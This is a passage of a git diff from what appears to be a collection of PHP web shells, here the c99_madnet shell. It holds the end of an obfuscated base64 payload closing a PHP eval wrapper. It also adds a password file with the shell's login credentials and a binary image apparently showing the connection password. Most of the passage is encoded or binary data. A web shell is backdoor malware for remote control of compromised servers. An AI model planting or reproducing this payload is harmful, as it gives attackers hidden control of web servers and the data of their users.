3UpdlOuvylqTpzbwehtqby55fURiKrPh8fnauX0CAaC4dUoHmYNAFbbCcG/TKE48Iu58mn8zt5fva1HEHfu1uzHLZ4LLGknj11gEXIWxwwKH7EsY/pJ6caCK5AETV4AZ2/rV2dQtN498uRXwY64HCeR7Eom8nCZqkQdOsesDDJDkiO/2qAPFjmCCt/NtOW25X6lZSd+GEJdAIreMaLwl1uooZJIH9KhOsdOr9yWEt18K7nuz8zUo4KFv1ozJHtKxggwGoA5bjfwOlz72oOlouJNV7s+hPls5rCO5Byj8eGnAOOrUyCrzEVpF+cQUpMZ/NqCOvo1bw0oA6DL8PREp2ZpQ+q0s+A/i7Mj3LHkrzvhlg0PSF9I0XzCOnfOuoKr4rL0mIqrhUJVGvcyXWifopA16M9qhm3X2/22yufpovnpXYbIANy24CsXoZ1f3Tpjezrdv3mhUeKRpeqdYiPYCo3Vf4Ld+UiH/Plpsl7Q0K7Yq1HvBSwCHw3hcJZvJ9DiN6kJd8GXWR8A0g6gN7efyolFZmXJSkfJ4ij9uzIk5Fn0+lSuVovCgr1UW9umOF1rZVfueHA/r9+bW9futJj1ZETFtfo+lljEkrKNphM1vsYofR0nLNeISTcx8JB+CzvCtPbkQvCREz20jzOWmhyA7i568zaZRQTLfO1zS9vP34kMfb0ii5c+X5DkZvfWI3aIzo7w2zgBBe0pcyEAwf140DKTG2tU2+VdCzI0EQCSltagkiugrm3k1ctsnnNIyilfDkQNlNND7qml51xkiT0d5Mukc17Bfs2DXdUn7Dj5qynymWRcvydcWUwnbOTvD9ABmSDz4AF5FV9omxSL/GO2OYowPCYGfNXBVAg6DPa84jA7JJJ6O+QdUv51FR/1dnx89M8P6H7P1qgSq3fbEqwSKgC2OCB6Gds5T7dJIsm2wrS+Y/O19dCsltUVCNIAWIIgeFb//eeff/79z/8A'))); +?> diff --git a/php/PHPshell/【c99_madnet】/密码.txt b/php/PHPshell/【c99_madnet】/密码.txt new file mode 100644 index 0000000..742f9ec --- /dev/null +++ b/php/PHPshell/【c99_madnet】/密码.txt @@ -0,0 +1,2 @@ +˺:smowu +:smowu \ No newline at end of file diff --git a/php/PHPshell/【c99_madnet】/连接密码.jpg b/php/PHPshell/【c99_madnet】/连接密码.jpg new file mode 100644 index 0000000000000000000000000000000000000000..9dca11f9eb61a7ac820f73ad8b63da4a12579efc GIT binary patch literal 24899 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 